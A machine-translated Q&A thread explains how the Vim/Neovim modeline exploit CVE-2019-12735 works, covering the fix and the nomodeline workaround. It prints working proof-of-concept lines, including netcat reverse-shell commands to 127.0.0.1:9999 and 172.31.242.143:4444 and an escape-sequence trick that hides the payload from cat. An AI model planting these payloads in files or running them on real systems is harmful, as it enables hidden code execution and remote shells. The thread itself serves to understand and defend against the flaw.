web-dev-qa-db-ja.com

vim / neovimリバースシェルの脆弱性-なぜこれが機能するのですか?

警告

この質問には、脆弱性の元の説明と概念実証ファイルのコードが含まれています。最悪の場合、他のユーザーに特権を付与し、外部の攻撃者にシェルインターフェイスを提供する可能性のあるリバースシェルを開きます。 (1)システムがサードパーティ(ファイアウォール、マルチユーザーシステムなし)にアクセスできないこと、および(2)シェルが誤って開いた場合にシャットダウンする方法を知っている場合を除いて、これを実行しないでください。

説明

Vim/neovimの脆弱性は 最近発見されました (そしてvim 8.1.1467でパッチが適用されました)。パッチ適用の手順に加えて、概念実証がコンテ​​ンツとともにテキストファイルとして含まれていました

_\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'Nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
_

テキストファイルには「Nothinghere。」という文字列が含まれているように見えますが、ポート9999でnetcat(nc)を使用して逆シェル_/bin/sh_を開くという考えのようです。パッチが適用されていないvim/neovimバージョン。

この脆弱性は存在しており、かなりの数年間検出されていないようです。パッチ適用、更新(まだすべてのシステムで利用できるわけではありません)、またはモードラインを無効にすると、問題が修正されます。もちろん、同様の脆弱性が今後も発生し続ける可能性があるという保証はありません。これが、これを研究するのに役立つと思う理由です。

質問

しかし、そもそもなぜコードが機能するのか理解するのに苦労しています。

文字列はのミックスです

  • 特殊文字(_\x[hex][hex]_コード)
  • シェルコマンド(Nohupnc
  • vimコマンド(silentcall system()fileredraww
  • 目立たない文字列

さらに、その部分

_# vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\! 
_

挿入されたコマンドが実行されることを保証するモードラインビットです。

_:silent! w | call system(\'Nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! 
_

_Nohup nc 127.0.0.1 9999 -e /bin/sh_が逆シェルを開始する実際のコマンドのようです)。

ただし、vimを手動で開いて、コマンド部分を実行するだけの場合

_:silent! w | call system(\'Nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0
_

エラーで失敗します

_E15: Invalid expression: \'Nohup (...) 
E116: Invalid arguments for function system 
_

私は本当に理解しているとは思いません(ここで説明したことを超えて)

_(1) what the command does and why it works,  

(2) consequently, how likely it is that vulnerabilities like this one will resurface, 

(3) and, if there are any other measures that can be taken to protect against these (besides obviously keeping the software up to date and perhaps disabling modelines (which would, however, be a major inconvenience))
_
3
0range

CVE

VimおよびNeoVimのCVE-2019–12735はコマンド実行の脆弱性であり、攻撃者がVimでこの脆弱性を公開するように作成されたファイルをユーザーに編集させることにより、ローカルコマンドを実行できるようにします。

:source! コマンドが sandbox 内で実行されているかどうかを確認できなかったため、この脆弱性が存在しました。この場合、操作を続行するのではなく、単に中止する必要がありました。

サンドボックスは通常、 modeline の危険なオプションを評価するために使用されます。これは、ファイルの上部または下部に含めて、編集時に適切なオプションを設定するようにVimエディターを構成できる行です。 (異なるタブサイズを設定するか、タブをスペースに拡張するかどうか、ファイル拡張子と一致しない特定の言語の構文の強調表示とインデントをロードするかどうかなどが役立つ場合があります。)

モードラインに含めることができるオプションのいくつかは任意の式を許可するため、Vimがモードラインでそれらを見つけると、サンドボックスでそれらを評価します。サンドボックスは、許可された場合に脆弱性につながる危険なコマンドをブロックします(またはブロックする必要があります)。適度に。

修正

この脆弱性はVim8.1.1365で this commit によって修正されました。これにより、 sandbox 内で :source! コマンドが許可されなくなります。

Workaround

この脆弱性はモードラインからのコマンドの処理時に発生するため、set nomodeline.vimrc を追加してモードラインの処理を無効にすると、問題が回避されます。 (モデラインが機能しなくなるという副作用があります。タブサイズやシフト幅などをモデラインに依存して設定した場合、かなりの煩わしさになる可能性があります。)

エクスプロイト

おそらく、 この記事 で詳しく説明されている、より単純な概念実証から始めましょう。残念ながら、Mediumは二重引用符を台無しにしますが、概念実証で使用されるコマンドは次のとおりです。

:!nc -nv 172.31.242.143 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

さらに単純に保ち、エクスプロイト部分に単純なechoコマンドを使用することもできます。必要なのは、任意のローカルコマンドを実行できることを示すことだけなので、echoを使用するだけで十分に実証できます(興味がある場合は、を使用してリバースプロキシに正常に置き換えることができることを確認できます。 ncまたは同様のもの。)

:!echo "I am vulnerable" ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

(実際、これはリンクしたものと似ています ここ 、ローカルコマンドの実行のデモンストレーションとしてuname -aコマンドを使用します。)

これをファイル、任意のファイル、任意の拡張子について保存し、Vimプレフィックスを付けて開くと、Vimが起動する前に「私は脆弱です」と表示されます。

これを分解してみましょう。

  • :! はシェルコマンドを実行します。行全体の残りの部分をシェルコマンドとして解釈します。
  • [echo "I am vulnerable" || ...]:||の部分について説明しましょう。これは実際には有効なシェル構造であり、最初のコマンドが失敗した場合に2番目のコマンドを実行します(たとえば、ゼロ以外を返します)。たとえば、false || echo Failedを使用すると、「Failed」と出力されます。一方、最初のコマンドが成功した場合、2番目のコマンドは実行されません。したがって、true || echo Failedは「失敗」などをエコーし​​ません。実際、2番目のコマンドは無効である可能性があり、シェルはそれを実行しないため、それについて文句を言うことはありません。したがって、true || xyzinvalid abcinvalid whateverは問題ないはずです。唯一の制限は、引用符を正しく実行する必要があることです。シェルは2番目のコマンドを単語に分割して有効かどうかを確認するため、二重引用符がある場合は、偶数個にする必要があります。
  • " vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="これがこの2番目の部分で起こっていることです!これが:!によってシェルコマンドとして実行される場合、これは2番目のコマンドと見なされます。これが、最後にfdt="が追加された唯一の理由であるため、引用符は一致します。
  • vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="これで、この部分もモードラインとして解釈されます。 folding に関連するいくつかのオプションを設定します。その理由は、折りたたみは、サンドボックスで実行する必要があるモードラインにオプションを設定できる機能の1つであるためです。 'foldenable' に設定し、 'foldmethod'exprに設定し、 'foldlevel' をゼロに設定します。フォールド式が評価されるようにすべて。 (また、 'foldtext' を二重引用符に設定していますが、それはバランスの取れた引用符が必要なシェルをなだめるためだけです!)
  • fde=assert_fails("source\!\ \%")は、実際にはエクスプロイトが存在する場所です。 'foldexpr' はサンドボックスで評価されますが、このエクスプロイトにより、source!コマンドがそれをチェックしないようになります。 assert_fails() 関数は、式の一部としてExコマンドを実行するために使用されます。そして、エスケープ解除後に使用されるコマンドはsource! %であり、これは現在のファイルをVimスクリプトとしてソースし、次に:!コマンドを実行して、シェルで外部コマンドを呼び出すことになります。

より巧妙なエクスプロイト

もう1つのエクスプロイトは、ANSIエスケープシーケンスの束をパックするため、catを使用してファイルを見ると、悪意のあるコードが非表示になり、無害なメッセージのみが表示されるため、より複雑になります。

\x1bシーケンスを処理し、それらを実際のESC文字に変換するには、ファイルを実際に前処理して実際に機能させる必要があります。そうすることで、\'が単純な一重引用符になり、\\が単一の円記号に変わります。

それらのコンテンツをescaped-poc.txtに保存し、次の方法で処理します。

$ echo -e $(<escaped-poc.txt) >poc.txt

この結果のpoc.txtは、エクスプロイトコードをトリガーする必要があるものです。

catで表示すると、次のように表示されます。

$ cat poc.txt
Nothing here.

脆弱なVimで開くと、外部コマンドをトリガーし(リバースシェルを開く)、エクスプロイトコードがなくなるようにファイルを変更する必要があります(トラックをカバーします)。

多くのVimコードハンドルがそのトラックをカバーしています。特に、その S 最初(SNothing here.\x1b)は、行全体を「Nothing here。」に置き換え、挿入モードをエスケープして:silent!w ファイルを書き込みます。 :file を呼び出すと、Vimはファイルに関する情報を出力します。これは通常、ファイルを最初に開いたときに出力される情報です(したがって、悪意のないファイルを開いたときに表示される出力を模倣します)。

最後に、||の後にShellコマンドを使用して、モードラインが非表示になっている残りの行を無視する代わりに、silent! # " vim: ...部分を使用します。今回のエクスプロイトでは、:!コマンドではなく system() 関数を使用しているため、これが可能です。

これは実際には :# コマンド(:numberと同義)を実行し、現在の行番号を出力します。ただし、 :silent! で実行されるため、何も出力されません。最後に、 "#がVimscriptコメントを開始した後、VimはファイルをVimscriptとして読み取るときに残りの行を無視します。

実際のエクスプロイトは、 assert_fails() の助けを借りて 'foldexpr' を使用して、モードラインで再び発生します。ただし今回は、式が最初に呼び出されたときに'foldexpr'をリ​​セットするため、コマンドを2回以上再生成しようとせず、残りのトレースも少なくなります。

悪意のあるコードを隠すために使用される一連のエスケープシーケンスは、独自の投稿に値します。特に、ファイルの先頭にある最初のコマンドは、エスケープシーケンス(ファイルでcatを使用する場合)とVimの通常モードコマンドの両方として評価されます。これは、ファイルが存在するときにVimが開始される場所だからです。 :source!を読んでください。

全体として、非常に興味深いケーススタディです。

2
filbranden